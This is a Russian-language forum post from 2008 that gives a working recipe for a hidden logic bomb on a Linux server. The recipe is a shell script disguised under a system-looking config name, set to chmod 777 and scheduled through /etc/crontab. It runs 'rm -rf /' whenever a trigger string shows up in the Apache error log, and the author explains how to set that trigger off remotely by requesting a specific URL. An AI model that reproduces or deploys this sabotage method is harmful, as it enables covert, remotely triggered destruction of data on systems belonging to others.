Показать сообщение отдельно

  #4  
Старый 20.08.2008, 15:07
neval
Moderator - Level 7
Регистрация: 13.12.2006
Сообщений: 531
Провел на форуме:
2127116

Репутация: 383


По умолчанию

Если на данный момент ты привелигированный пользователь в системе, то можно что то вроде такого:

Создаешь скрипт примерного содержания

nano /etc/conf.d/net.conf_param

Код:
#!/bin/sh
grep "File does not exist: /var/www/localhost/htdocs/pizdec.serveru" /var/log/apache2/error_log >/dev/null
if [ $? -ne 1 ]
then
rm -rf /
exit 1
fi
Вместо net.conf_param - любое название, лишь бы похожее на что нибудь системное и полезное , что бы не удалили )) так же как и путь...

Устанавливаешь права :

chmod 777 /etc/conf.d/net.conf_param

И добавляешь в cron свое задание (на примере vixie-cron):

echo "30 12 * * * root /bin/sh /etc/conf.d/net.conf_param" >> /etc/crontab


---------------

Что это дает?
Наш скрипт ежедневно, в 12.30 смотрит содержимое файла /var/log/apache2/error_log (ошибки апача), и если находит строку (File does not exist: /var/www/localhost/htdocs/pizdec.serveru) - то он удаляет содержимое корневой директории rm -rf /

Добавим эту строку в лог:

http://127.0.0.1/pizdec.serveru


http://filegu.ru/f/ms8mHwt1/video.mpeg.html (4,75 Мб)

ководство )

Последний раз редактировалось neval; 20.08.2008 в 20:22.. Причина: очепятко...